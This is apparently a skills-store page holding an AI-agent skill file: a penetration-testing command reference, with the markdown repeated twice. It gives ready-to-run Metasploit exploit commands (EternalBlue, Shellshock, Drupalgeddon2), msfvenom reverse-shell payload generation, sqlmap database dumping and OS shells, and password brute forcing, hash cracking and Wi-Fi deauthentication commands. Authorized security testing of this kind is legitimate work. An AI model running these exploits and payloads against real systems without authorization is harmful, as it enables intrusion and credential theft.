[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M7148JTFW8QA4PVKC6RFPBEE":3,"skill-same:01M7148JTFW8QA4PVKC6RFPBEE":71},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":23,"publishedAt":44,"linkOnly":45,"markdownContent":46,"markdownBody":47,"frontMatter":48,"refName":51,"commitSha":52,"skillDirectory":53,"forksCount":14,"repositoryHtmlUrl":54,"repositoryHomepageUrl":6,"ownerHtmlUrl":55,"ownerBlogUrl":6,"ownerDescription":6,"updatedAt":56,"install":57,"resources":70},"01M7148JTFW8QA4PVKC6RFPBEE","pentest-commands",null,"Provide a comprehensive command reference for penetration testing tools including network scanning, exploitation, password cracking, and web application testing. Enable quick command lookup during security assessments.","sapsapshen\u002Fai-memory-router","sapsapshen","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F20347959?v=4","01M6XDQEF1DP50DKF37H81J3J5","shenmian","01M6XDQEJPE41Y3DT2763X8ZJN",0,"MIT","https:\u002F\u002Fgithub.com\u002Fsapsapshen\u002Fai-memory-router\u002Fblob\u002Fmain\u002Fskills-store\u002Fcopilot\u002Fpentest-commands\u002FSKILL.md",[18],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000008","测试与质量","SCENARIO","使用场景",[24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43],"commands","Pentest Commands","pentest","command","2026","unknown","for","quick","penetration","community","scanning","testing","password","Tools","exploitation","network","penetration testing","web","testing tools","security","2026-11-10 10:12:30",false,"---\nname: pentest-commands\ndescription: \"Provide a comprehensive command reference for penetration testing tools including network scanning, exploitation, password cracking, and web application testing. Enable quick command lookup during security assessments.\"\nrisk: unknown\nsource: community\nauthor: zebbern\ndate_added: \"2026-02-27\"\n---\n\n# Pentest Commands\n\n## Purpose\n\nProvide a comprehensive command reference for penetration testing tools including network scanning, exploitation, password cracking, and web application testing. Enable quick command lookup during security assessments.\n\n## Inputs\u002FPrerequisites\n\n- Kali Linux or penetration testing distribution\n- Target IP addresses with authorization\n- Wordlists for brute forcing\n- Network access to target systems\n- Basic understanding of tool syntax\n\n## Outputs\u002FDeliverables\n\n- Network enumeration results\n- Identified vulnerabilities\n- Exploitation payloads\n- Cracked credentials\n- Web vulnerability findings\n\n## Core Workflow\n\n### 1. Nmap Commands\n\n**Host Discovery:**\n\n```bash\n# Ping sweep\nnmap -sP 192.168.1.0\u002F24\n\n# List IPs without scanning\nnmap -sL 192.168.1.0\u002F24\n\n# Ping scan (host discovery)\nnmap -sn 192.168.1.0\u002F24\n```\n\n**Port Scanning:**\n\n```bash\n# TCP SYN scan (stealth)\nnmap -sS 192.168.1.1\n\n# Full TCP connect scan\nnmap -sT 192.168.1.1\n\n# UDP scan\nnmap -sU 192.168.1.1\n\n# All ports (1-65535)\nnmap -p- 192.168.1.1\n\n# Specific ports\nnmap -p 22,80,443 192.168.1.1\n```\n\n**Service Detection:**\n\n```bash\n# Service versions\nnmap -sV 192.168.1.1\n\n# OS detection\nnmap -O 192.168.1.1\n\n# Comprehensive scan\nnmap -A 192.168.1.1\n\n# Skip host discovery\nnmap -Pn 192.168.1.1\n```\n\n**NSE Scripts:**\n\n```bash\n# Vulnerability scan\nnmap --script vuln 192.168.1.1\n\n# SMB enumeration\nnmap --script smb-enum-shares -p 445 192.168.1.1\n\n# HTTP enumeration\nnmap --script http-enum -p 80 192.168.1.1\n\n# Check EternalBlue\nnmap --script smb-vuln-ms17-010 192.168.1.1\n\n# Check MS08-067\nnmap --script smb-vuln-ms08-067 192.168.1.1\n\n# SSH brute force\nnmap --script ssh-brute -p 22 192.168.1.1\n\n# FTP anonymous\nnmap --script ftp-anon 192.168.1.1\n\n# DNS brute force\nnmap --script dns-brute 192.168.1.1\n\n# HTTP methods\nnmap -p80 --script http-methods 192.168.1.1\n\n# HTTP headers\nnmap -p80 --script http-headers 192.168.1.1\n\n# SQL injection check\nnmap --script http-sql-injection -p 80 192.168.1.1\n```\n\n**Advanced Scans:**\n\n```bash\n# Xmas scan\nnmap -sX 192.168.1.1\n\n# ACK scan (firewall detection)\nnmap -sA 192.168.1.1\n\n# Window scan\nnmap -sW 192.168.1.1\n\n# Traceroute\nnmap --traceroute 192.168.1.1\n```\n\n### 2. Metasploit Commands\n\n**Basic Usage:**\n\n```bash\n# Launch Metasploit\nmsfconsole\n\n# Search for exploits\nsearch type:exploit name:smb\n\n# Use exploit\nuse exploit\u002Fwindows\u002Fsmb\u002Fms17_010_eternalblue\n\n# Show options\nshow options\n\n# Set target\nset RHOST 192.168.1.1\n\n# Set payload\nset PAYLOAD windows\u002Fmeterpreter\u002Freverse_tcp\n\n# Run exploit\nexploit\n```\n\n**Common Exploits:**\n\n```bash\n# EternalBlue\nmsfconsole -x \"use exploit\u002Fwindows\u002Fsmb\u002Fms17_010_eternalblue; set RHOST 192.168.1.1; exploit\"\n\n# MS08-067 (Conficker)\nmsfconsole -x \"use exploit\u002Fwindows\u002Fsmb\u002Fms08_067_netapi; set RHOST 192.168.1.1; exploit\"\n\n# vsftpd backdoor\nmsfconsole -x \"use exploit\u002Funix\u002Fftp\u002Fvsftpd_234_backdoor; set RHOST 192.168.1.1; exploit\"\n\n# Shellshock\nmsfconsole -x \"use exploit\u002Flinux\u002Fhttp\u002Fapache_mod_cgi_bash_env_exec; set RHOST 192.168.1.1; exploit\"\n\n# Drupalgeddon2\nmsfconsole -x \"use exploit\u002Funix\u002Fwebapp\u002Fdrupal_drupalgeddon2; set RHOST 192.168.1.1; exploit\"\n\n# PSExec\nmsfconsole -x \"use exploit\u002Fwindows\u002Fsmb\u002Fpsexec; set RHOST 192.168.1.1; set SMBUser user; set SMBPass pass; exploit\"\n```\n\n**Scanners:**\n\n```bash\n# TCP port scan\nmsfconsole -x \"use auxiliary\u002Fscanner\u002Fportscan\u002Ftcp; set RHOSTS 192.168.1.0\u002F24; run\"\n\n# SMB version scan\nmsfconsole -x \"use auxiliary\u002Fscanner\u002Fsmb\u002Fsmb_version; set RHOSTS 192.168.1.0\u002F24; run\"\n\n# SMB share enumeration\nmsfconsole -x \"use auxiliary\u002Fscanner\u002Fsmb\u002Fsmb_enumshares; set RHOSTS 192.168.1.0\u002F24; run\"\n\n# SSH brute force\nmsfconsole -x \"use auxiliary\u002Fscanner\u002Fssh\u002Fssh_login; set RHOSTS 192.168.1.0\u002F24; set USER_FILE users.txt; set PASS_FILE passwords.txt; run\"\n\n# FTP brute force\nmsfconsole -x \"use auxiliary\u002Fscanner\u002Fftp\u002Fftp_login; set RHOSTS 192.168.1.0\u002F24; set USER_FILE users.txt; set PASS_FILE passwords.txt; run\"\n\n# RDP scanning\nmsfconsole -x \"use auxiliary\u002Fscanner\u002Frdp\u002Frdp_scanner; set RHOSTS 192.168.1.0\u002F24; run\"\n```\n\n**Handler Setup:**\n\n```bash\n# Multi-handler for reverse shells\nmsfconsole -x \"use exploit\u002Fmulti\u002Fhandler; set PAYLOAD windows\u002Fmeterpreter\u002Freverse_tcp; set LHOST 192.168.1.2; set LPORT 4444; exploit\"\n```\n\n**Payload Generation (msfvenom):**\n\n```bash\n# Windows reverse shell\nmsfvenom -p windows\u002Fmeterpreter\u002Freverse_tcp LHOST=192.168.1.2 LPORT=4444 -f exe > shell.exe\n\n# Linux reverse shell\nmsfvenom -p linux\u002Fx64\u002Fshell_reverse_tcp LHOST=192.168.1.2 LPORT=4444 -f elf > shell.elf\n\n# PHP reverse shell\nmsfvenom -p php\u002Freverse_php LHOST=192.168.1.2 LPORT=4444 -f raw > shell.php\n\n# ASP reverse shell\nmsfvenom -p windows\u002Fshell_reverse_tcp LHOST=192.168.1.2 LPORT=4444 -f asp > shell.asp\n\n# WAR file\nmsfvenom -p java\u002Fjsp_shell_reverse_tcp LHOST=192.168.1.2 LPORT=4444 -f war > shell.war\n\n# Python payload\nmsfvenom -p cmd\u002Funix\u002Freverse_python LHOST=192.168.1.2 LPORT=4444 -f raw > shell.py\n```\n\n### 3. Nikto Commands\n\n```bash\n# Basic scan\nnikto -h http:\u002F\u002F192.168.1.1\n\n# Comprehensive scan\nnikto -h http:\u002F\u002F192.168.1.1 -C all\n\n# Output to file\nnikto -h http:\u002F\u002F192.168.1.1 -output report.html\n\n# Plugin-based scans\nnikto -h http:\u002F\u002F192.168.1.1 -Plugins robots\nnikto -h http:\u002F\u002F192.168.1.1 -Plugins shellshock\nnikto -h http:\u002F\u002F192.168.1.1 -Plugins heartbleed\nnikto -h http:\u002F\u002F192.168.1.1 -Plugins ssl\n\n# Export to Metasploit\nnikto -h http:\u002F\u002F192.168.1.1 -Format msf+\n\n# Specific tuning\nnikto -h http:\u002F\u002F192.168.1.1 -Tuning 1  # Interesting files only\n```\n\n### 4. SQLMap Commands\n\n```bash\n# Basic injection test\nsqlmap -u \"http:\u002F\u002F192.168.1.1\u002Fpage?id=1\"\n\n# Enumerate databases\nsqlmap -u \"http:\u002F\u002F192.168.1.1\u002Fpage?id=1\" --dbs\n\n# Enumerate tables\nsqlmap -u \"http:\u002F\u002F192.168.1.1\u002Fpage?id=1\" -D database --tables\n\n# Dump table\nsqlmap -u \"http:\u002F\u002F192.168.1.1\u002Fpage?id=1\" -D database -T users --dump\n\n# OS shell\nsqlmap -u \"http:\u002F\u002F192.168.1.1\u002Fpage?id=1\" --os-shell\n\n# POST request\nsqlmap -u \"http:\u002F\u002F192.168.1.1\u002Flogin\" --data=\"user=admin&pass=test\"\n\n# Cookie injection\nsqlmap -u \"http:\u002F\u002F192.168.1.1\u002Fpage\" --cookie=\"id=1*\"\n\n# Bypass WAF\nsqlmap -u \"http:\u002F\u002F192.168.1.1\u002Fpage?id=1\" --tamper=space2comment\n\n# Risk and level\nsqlmap -u \"http:\u002F\u002F192.168.1.1\u002Fpage?id=1\" --risk=3 --level=5\n```\n\n### 5. Hydra Commands\n\n```bash\n# SSH brute force\nhydra -l admin -P \u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt ssh:\u002F\u002F192.168.1.1\n\n# FTP brute force\nhydra -l admin -P \u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt ftp:\u002F\u002F192.168.1.1\n\n# HTTP POST form\nhydra -l admin -P passwords.txt 192.168.1.1 http-post-form \"\u002Flogin:user=^USER^&pass=^PASS^:Invalid\"\n\n# HTTP Basic Auth\nhydra -l admin -P passwords.txt 192.168.1.1 http-get \u002Fadmin\u002F\n\n# SMB brute force\nhydra -l admin -P passwords.txt smb:\u002F\u002F192.168.1.1\n\n# RDP brute force\nhydra -l admin -P passwords.txt rdp:\u002F\u002F192.168.1.1\n\n# MySQL brute force\nhydra -l root -P passwords.txt mysql:\u002F\u002F192.168.1.1\n\n# Username list\nhydra -L users.txt -P passwords.txt ssh:\u002F\u002F192.168.1.1\n```\n\n### 6. John the Ripper Commands\n\n```bash\n# Crack password file\njohn hash.txt\n\n# Specify wordlist\njohn hash.txt --wordlist=\u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt\n\n# Show cracked passwords\njohn hash.txt --show\n\n# Specify format\njohn hash.txt --format=raw-md5\njohn hash.txt --format=nt\njohn hash.txt --format=sha512crypt\n\n# SSH key passphrase\nssh2john id_rsa > ssh_hash.txt\njohn ssh_hash.txt --wordlist=\u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt\n\n# ZIP password\nzip2john file.zip > zip_hash.txt\njohn zip_hash.txt\n```\n\n### 7. Aircrack-ng Commands\n\n```bash\n# Monitor mode\nairmon-ng start wlan0\n\n# Capture packets\nairodump-ng wlan0mon\n\n# Target specific network\nairodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w capture wlan0mon\n\n# Deauth attack\naireplay-ng -0 10 -a AA:BB:CC:DD:EE:FF wlan0mon\n\n# Crack WPA handshake\naircrack-ng -w \u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt capture-01.cap\n```\n\n### 8. Wireshark\u002FTshark Commands\n\n```bash\n# Capture traffic\ntshark -i eth0 -w capture.pcap\n\n# Read capture file\ntshark -r capture.pcap\n\n# Filter by protocol\ntshark -r capture.pcap -Y \"http\"\n\n# Filter by IP\ntshark -r capture.pcap -Y \"ip.addr == 192.168.1.1\"\n\n# Extract HTTP data\ntshark -r capture.pcap -Y \"http\" -T fields -e http.request.uri\n```\n\n## Quick Reference\n\n### Common Port Scans\n\n```bash\n# Quick scan\nnmap -F 192.168.1.1\n\n# Full comprehensive\nnmap -sV -sC -A -p- 192.168.1.1\n\n# Fast with version\nnmap -sV -T4 192.168.1.1\n```\n\n### Password Hash Types\n\n| Mode | Type |\n|------|------|\n| 0 | MD5 |\n| 100 | SHA1 |\n| 1000 | NTLM |\n| 1800 | sha512crypt |\n| 3200 | bcrypt |\n| 13100 | Kerberoast |\n\n## Constraints\n\n- Always have written authorization\n- Some scans are noisy and detectable\n- Brute forcing may lock accounts\n- Rate limiting affects tools\n\n## Examples\n\n### Example 1: Quick Vulnerability Scan\n\n```bash\nnmap -sV --script vuln 192.168.1.1\n```\n\n### Example 2: Web App Test\n\n```bash\nnikto -h http:\u002F\u002Ftarget && sqlmap -u \"http:\u002F\u002Ftarget\u002Fpage?id=1\" --dbs\n```\n\n## Troubleshooting\n\n| Issue | Solution |\n|-------|----------|\n| Scan too slow | Increase timing (-T4, -T5) |\n| Ports filtered | Try different scan types |\n| Exploit fails | Check target version compatibility |\n| Passwords not cracking | Try larger wordlists, rules |\n\n## When to Use\nThis skill is applicable to execute the workflow or actions described in the overview.\n","# Pentest Commands\n\n## Purpose\n\nProvide a comprehensive command reference for penetration testing tools including network scanning, exploitation, password cracking, and web application testing. Enable quick command lookup during security assessments.\n\n## Inputs\u002FPrerequisites\n\n- Kali Linux or penetration testing distribution\n- Target IP addresses with authorization\n- Wordlists for brute forcing\n- Network access to target systems\n- Basic understanding of tool syntax\n\n## Outputs\u002FDeliverables\n\n- Network enumeration results\n- Identified vulnerabilities\n- Exploitation payloads\n- Cracked credentials\n- Web vulnerability findings\n\n## Core Workflow\n\n### 1. Nmap Commands\n\n**Host Discovery:**\n\n```bash\n# Ping sweep\nnmap -sP 192.168.1.0\u002F24\n\n# List IPs without scanning\nnmap -sL 192.168.1.0\u002F24\n\n# Ping scan (host discovery)\nnmap -sn 192.168.1.0\u002F24\n```\n\n**Port Scanning:**\n\n```bash\n# TCP SYN scan (stealth)\nnmap -sS 192.168.1.1\n\n# Full TCP connect scan\nnmap -sT 192.168.1.1\n\n# UDP scan\nnmap -sU 192.168.1.1\n\n# All ports (1-65535)\nnmap -p- 192.168.1.1\n\n# Specific ports\nnmap -p 22,80,443 192.168.1.1\n```\n\n**Service Detection:**\n\n```bash\n# Service versions\nnmap -sV 192.168.1.1\n\n# OS detection\nnmap -O 192.168.1.1\n\n# Comprehensive scan\nnmap -A 192.168.1.1\n\n# Skip host discovery\nnmap -Pn 192.168.1.1\n```\n\n**NSE Scripts:**\n\n```bash\n# Vulnerability scan\nnmap --script vuln 192.168.1.1\n\n# SMB enumeration\nnmap --script smb-enum-shares -p 445 192.168.1.1\n\n# HTTP enumeration\nnmap --script http-enum -p 80 192.168.1.1\n\n# Check EternalBlue\nnmap --script smb-vuln-ms17-010 192.168.1.1\n\n# Check MS08-067\nnmap --script smb-vuln-ms08-067 192.168.1.1\n\n# SSH brute force\nnmap --script ssh-brute -p 22 192.168.1.1\n\n# FTP anonymous\nnmap --script ftp-anon 192.168.1.1\n\n# DNS brute force\nnmap --script dns-brute 192.168.1.1\n\n# HTTP methods\nnmap -p80 --script http-methods 192.168.1.1\n\n# HTTP headers\nnmap -p80 --script http-headers 192.168.1.1\n\n# SQL injection check\nnmap --script http-sql-injection -p 80 192.168.1.1\n```\n\n**Advanced Scans:**\n\n```bash\n# Xmas scan\nnmap -sX 192.168.1.1\n\n# ACK scan (firewall detection)\nnmap -sA 192.168.1.1\n\n# Window scan\nnmap -sW 192.168.1.1\n\n# Traceroute\nnmap --traceroute 192.168.1.1\n```\n\n### 2. Metasploit Commands\n\n**Basic Usage:**\n\n```bash\n# Launch Metasploit\nmsfconsole\n\n# Search for exploits\nsearch type:exploit name:smb\n\n# Use exploit\nuse exploit\u002Fwindows\u002Fsmb\u002Fms17_010_eternalblue\n\n# Show options\nshow options\n\n# Set target\nset RHOST 192.168.1.1\n\n# Set payload\nset PAYLOAD windows\u002Fmeterpreter\u002Freverse_tcp\n\n# Run exploit\nexploit\n```\n\n**Common Exploits:**\n\n```bash\n# EternalBlue\nmsfconsole -x \"use exploit\u002Fwindows\u002Fsmb\u002Fms17_010_eternalblue; set RHOST 192.168.1.1; exploit\"\n\n# MS08-067 (Conficker)\nmsfconsole -x \"use exploit\u002Fwindows\u002Fsmb\u002Fms08_067_netapi; set RHOST 192.168.1.1; exploit\"\n\n# vsftpd backdoor\nmsfconsole -x \"use exploit\u002Funix\u002Fftp\u002Fvsftpd_234_backdoor; set RHOST 192.168.1.1; exploit\"\n\n# Shellshock\nmsfconsole -x \"use exploit\u002Flinux\u002Fhttp\u002Fapache_mod_cgi_bash_env_exec; set RHOST 192.168.1.1; exploit\"\n\n# Drupalgeddon2\nmsfconsole -x \"use exploit\u002Funix\u002Fwebapp\u002Fdrupal_drupalgeddon2; set RHOST 192.168.1.1; exploit\"\n\n# PSExec\nmsfconsole -x \"use exploit\u002Fwindows\u002Fsmb\u002Fpsexec; set RHOST 192.168.1.1; set SMBUser user; set SMBPass pass; exploit\"\n```\n\n**Scanners:**\n\n```bash\n# TCP port scan\nmsfconsole -x \"use auxiliary\u002Fscanner\u002Fportscan\u002Ftcp; set RHOSTS 192.168.1.0\u002F24; run\"\n\n# SMB version scan\nmsfconsole -x \"use auxiliary\u002Fscanner\u002Fsmb\u002Fsmb_version; set RHOSTS 192.168.1.0\u002F24; run\"\n\n# SMB share enumeration\nmsfconsole -x \"use auxiliary\u002Fscanner\u002Fsmb\u002Fsmb_enumshares; set RHOSTS 192.168.1.0\u002F24; run\"\n\n# SSH brute force\nmsfconsole -x \"use auxiliary\u002Fscanner\u002Fssh\u002Fssh_login; set RHOSTS 192.168.1.0\u002F24; set USER_FILE users.txt; set PASS_FILE passwords.txt; run\"\n\n# FTP brute force\nmsfconsole -x \"use auxiliary\u002Fscanner\u002Fftp\u002Fftp_login; set RHOSTS 192.168.1.0\u002F24; set USER_FILE users.txt; set PASS_FILE passwords.txt; run\"\n\n# RDP scanning\nmsfconsole -x \"use auxiliary\u002Fscanner\u002Frdp\u002Frdp_scanner; set RHOSTS 192.168.1.0\u002F24; run\"\n```\n\n**Handler Setup:**\n\n```bash\n# Multi-handler for reverse shells\nmsfconsole -x \"use exploit\u002Fmulti\u002Fhandler; set PAYLOAD windows\u002Fmeterpreter\u002Freverse_tcp; set LHOST 192.168.1.2; set LPORT 4444; exploit\"\n```\n\n**Payload Generation (msfvenom):**\n\n```bash\n# Windows reverse shell\nmsfvenom -p windows\u002Fmeterpreter\u002Freverse_tcp LHOST=192.168.1.2 LPORT=4444 -f exe > shell.exe\n\n# Linux reverse shell\nmsfvenom -p linux\u002Fx64\u002Fshell_reverse_tcp LHOST=192.168.1.2 LPORT=4444 -f elf > shell.elf\n\n# PHP reverse shell\nmsfvenom -p php\u002Freverse_php LHOST=192.168.1.2 LPORT=4444 -f raw > shell.php\n\n# ASP reverse shell\nmsfvenom -p windows\u002Fshell_reverse_tcp LHOST=192.168.1.2 LPORT=4444 -f asp > shell.asp\n\n# WAR file\nmsfvenom -p java\u002Fjsp_shell_reverse_tcp LHOST=192.168.1.2 LPORT=4444 -f war > shell.war\n\n# Python payload\nmsfvenom -p cmd\u002Funix\u002Freverse_python LHOST=192.168.1.2 LPORT=4444 -f raw > shell.py\n```\n\n### 3. Nikto Commands\n\n```bash\n# Basic scan\nnikto -h http:\u002F\u002F192.168.1.1\n\n# Comprehensive scan\nnikto -h http:\u002F\u002F192.168.1.1 -C all\n\n# Output to file\nnikto -h http:\u002F\u002F192.168.1.1 -output report.html\n\n# Plugin-based scans\nnikto -h http:\u002F\u002F192.168.1.1 -Plugins robots\nnikto -h http:\u002F\u002F192.168.1.1 -Plugins shellshock\nnikto -h http:\u002F\u002F192.168.1.1 -Plugins heartbleed\nnikto -h http:\u002F\u002F192.168.1.1 -Plugins ssl\n\n# Export to Metasploit\nnikto -h http:\u002F\u002F192.168.1.1 -Format msf+\n\n# Specific tuning\nnikto -h http:\u002F\u002F192.168.1.1 -Tuning 1  # Interesting files only\n```\n\n### 4. SQLMap Commands\n\n```bash\n# Basic injection test\nsqlmap -u \"http:\u002F\u002F192.168.1.1\u002Fpage?id=1\"\n\n# Enumerate databases\nsqlmap -u \"http:\u002F\u002F192.168.1.1\u002Fpage?id=1\" --dbs\n\n# Enumerate tables\nsqlmap -u \"http:\u002F\u002F192.168.1.1\u002Fpage?id=1\" -D database --tables\n\n# Dump table\nsqlmap -u \"http:\u002F\u002F192.168.1.1\u002Fpage?id=1\" -D database -T users --dump\n\n# OS shell\nsqlmap -u \"http:\u002F\u002F192.168.1.1\u002Fpage?id=1\" --os-shell\n\n# POST request\nsqlmap -u \"http:\u002F\u002F192.168.1.1\u002Flogin\" --data=\"user=admin&pass=test\"\n\n# Cookie injection\nsqlmap -u \"http:\u002F\u002F192.168.1.1\u002Fpage\" --cookie=\"id=1*\"\n\n# Bypass WAF\nsqlmap -u \"http:\u002F\u002F192.168.1.1\u002Fpage?id=1\" --tamper=space2comment\n\n# Risk and level\nsqlmap -u \"http:\u002F\u002F192.168.1.1\u002Fpage?id=1\" --risk=3 --level=5\n```\n\n### 5. Hydra Commands\n\n```bash\n# SSH brute force\nhydra -l admin -P \u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt ssh:\u002F\u002F192.168.1.1\n\n# FTP brute force\nhydra -l admin -P \u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt ftp:\u002F\u002F192.168.1.1\n\n# HTTP POST form\nhydra -l admin -P passwords.txt 192.168.1.1 http-post-form \"\u002Flogin:user=^USER^&pass=^PASS^:Invalid\"\n\n# HTTP Basic Auth\nhydra -l admin -P passwords.txt 192.168.1.1 http-get \u002Fadmin\u002F\n\n# SMB brute force\nhydra -l admin -P passwords.txt smb:\u002F\u002F192.168.1.1\n\n# RDP brute force\nhydra -l admin -P passwords.txt rdp:\u002F\u002F192.168.1.1\n\n# MySQL brute force\nhydra -l root -P passwords.txt mysql:\u002F\u002F192.168.1.1\n\n# Username list\nhydra -L users.txt -P passwords.txt ssh:\u002F\u002F192.168.1.1\n```\n\n### 6. John the Ripper Commands\n\n```bash\n# Crack password file\njohn hash.txt\n\n# Specify wordlist\njohn hash.txt --wordlist=\u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt\n\n# Show cracked passwords\njohn hash.txt --show\n\n# Specify format\njohn hash.txt --format=raw-md5\njohn hash.txt --format=nt\njohn hash.txt --format=sha512crypt\n\n# SSH key passphrase\nssh2john id_rsa > ssh_hash.txt\njohn ssh_hash.txt --wordlist=\u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt\n\n# ZIP password\nzip2john file.zip > zip_hash.txt\njohn zip_hash.txt\n```\n\n### 7. Aircrack-ng Commands\n\n```bash\n# Monitor mode\nairmon-ng start wlan0\n\n# Capture packets\nairodump-ng wlan0mon\n\n# Target specific network\nairodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w capture wlan0mon\n\n# Deauth attack\naireplay-ng -0 10 -a AA:BB:CC:DD:EE:FF wlan0mon\n\n# Crack WPA handshake\naircrack-ng -w \u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt capture-01.cap\n```\n\n### 8. Wireshark\u002FTshark Commands\n\n```bash\n# Capture traffic\ntshark -i eth0 -w capture.pcap\n\n# Read capture file\ntshark -r capture.pcap\n\n# Filter by protocol\ntshark -r capture.pcap -Y \"http\"\n\n# Filter by IP\ntshark -r capture.pcap -Y \"ip.addr == 192.168.1.1\"\n\n# Extract HTTP data\ntshark -r capture.pcap -Y \"http\" -T fields -e http.request.uri\n```\n\n## Quick Reference\n\n### Common Port Scans\n\n```bash\n# Quick scan\nnmap -F 192.168.1.1\n\n# Full comprehensive\nnmap -sV -sC -A -p- 192.168.1.1\n\n# Fast with version\nnmap -sV -T4 192.168.1.1\n```\n\n### Password Hash Types\n\n| Mode | Type |\n|------|------|\n| 0 | MD5 |\n| 100 | SHA1 |\n| 1000 | NTLM |\n| 1800 | sha512crypt |\n| 3200 | bcrypt |\n| 13100 | Kerberoast |\n\n## Constraints\n\n- Always have written authorization\n- Some scans are noisy and detectable\n- Brute forcing may lock accounts\n- Rate limiting affects tools\n\n## Examples\n\n### Example 1: Quick Vulnerability Scan\n\n```bash\nnmap -sV --script vuln 192.168.1.1\n```\n\n### Example 2: Web App Test\n\n```bash\nnikto -h http:\u002F\u002Ftarget && sqlmap -u \"http:\u002F\u002Ftarget\u002Fpage?id=1\" --dbs\n```\n\n## Troubleshooting\n\n| Issue | Solution |\n|-------|----------|\n| Scan too slow | Increase timing (-T4, -T5) |\n| Ports filtered | Try different scan types |\n| Exploit fails | Check target version compatibility |\n| Passwords not cracking | Try larger wordlists, rules |\n\n## When to Use\nThis skill is applicable to execute the workflow or actions described in the overview.\n",{"name":5,"risk":29,"author":49,"source":33,"date_added":50,"description":7},"zebbern","2026-02-27","main","7a38d8e7073e61c16eda85681cb32fb68a8657a5","skills-store\u002Fcopilot\u002Fpentest-commands","https:\u002F\u002Fgithub.com\u002Fsapsapshen\u002Fai-memory-router","https:\u002F\u002Fgithub.com\u002Fsapsapshen","2026-04-14 21:12:12",{"source":8,"skillName":5,"commands":58,"prompt":68,"zipAvailable":69},[59,62,65],{"tool":60,"command":61},"npx","npx skills add sapsapshen\u002Fai-memory-router --skill pentest-commands",{"tool":63,"command":64},"bunx","bunx skills add sapsapshen\u002Fai-memory-router --skill pentest-commands",{"tool":66,"command":67},"pnpm","pnpm dlx skills add sapsapshen\u002Fai-memory-router --skill pentest-commands","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Fsapsapshen\u002Fai-memory-router\u002Fblob\u002Fmain\u002Fskills-store\u002Fcopilot\u002Fpentest-commands\u002FSKILL.md",true,[],[72,95,121,131,144,161],{"skillNo":73,"name":74,"nameZh":6,"description":75,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":76,"categories":77,"keywords":83,"publishedAt":44},"01M71ATQRKG48SH06FQ697T5G9","wechat-search","Search WeChat Official Account articles using OpenClaw's web search and fetch capabilities with compliance-focused design.","https:\u002F\u002Fgithub.com\u002Fsapsapshen\u002Fai-memory-router\u002Fblob\u002Fmain\u002Fskills-store\u002Fopenclaw\u002Fwechat-search-release\u002FSKILL.md",[78],{"categoryNo":79,"categoryName":80,"taxonomyType":81,"taxonomyTypeDesc":82},"01JBSEEDCAT000000000000037","律师与法务","PROFESSION","适用职业",[84,85,86,87,88,89,90,91,41,92,93,94],"wechat search","wechat","search","capabilities","openclaw","design","web search","compliance","official","fetch","with",{"skillNo":96,"name":97,"nameZh":6,"description":98,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":99,"categories":100,"keywords":101,"publishedAt":44},"01M71ATNAVGZB35PFYM2GC5N00","trend-tap","Real-time trending topics aggregator across 7 platforms (X\u002FTwitter, Reddit, Google Trends, Hacker News, Zhihu, Bilibili, Weibo). Trigger: when user says 'trend', 'trends', 'trend tap', '热点', '热搜', or asks what is trending\u002Fhot. Do NOT use web_search — this skill already fetches live data from all platforms with zero API keys.","https:\u002F\u002Fgithub.com\u002Fsapsapshen\u002Fai-memory-router\u002Fblob\u002Fmain\u002Fskills-store\u002Fopenclaw\u002Ftrend-tap\u002FSKILL.md",[],[102,103,104,105,106,107,86,108,109,110,111,112,113,114,115,116,117,118,119,120],"trend","trend tap","tap","api keys","Bash","time","trending","hacker","aggregator","do","when","brew","live","data","google","install","read","across","api",{"skillNo":122,"name":123,"nameZh":6,"description":124,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":125,"categories":126,"keywords":127,"publishedAt":44},"01M71ATJ9AM5KM15AA8PS302EB","trend-radar","Real-time trending topics aggregator across 7 platforms (X\u002FTwitter, Reddit, Google Trends, Hacker News, Zhihu, Bilibili, Weibo). Trigger: when user says 'trend', 'trends', 'trend pulse', '热点', '热搜', or asks what is trending\u002Fhot. Do NOT use web_search — this skill already fetches live data from all platforms with zero API keys.","https:\u002F\u002Fgithub.com\u002Fsapsapshen\u002Fai-memory-router\u002Fblob\u002Fmain\u002Fskills-store\u002Fopenclaw\u002Ftrend-radar\u002FSKILL.md",[],[128,129,102,113,114,115,116,106,86,118,130,119,120,112,110,109,108,117,107,105],"trend 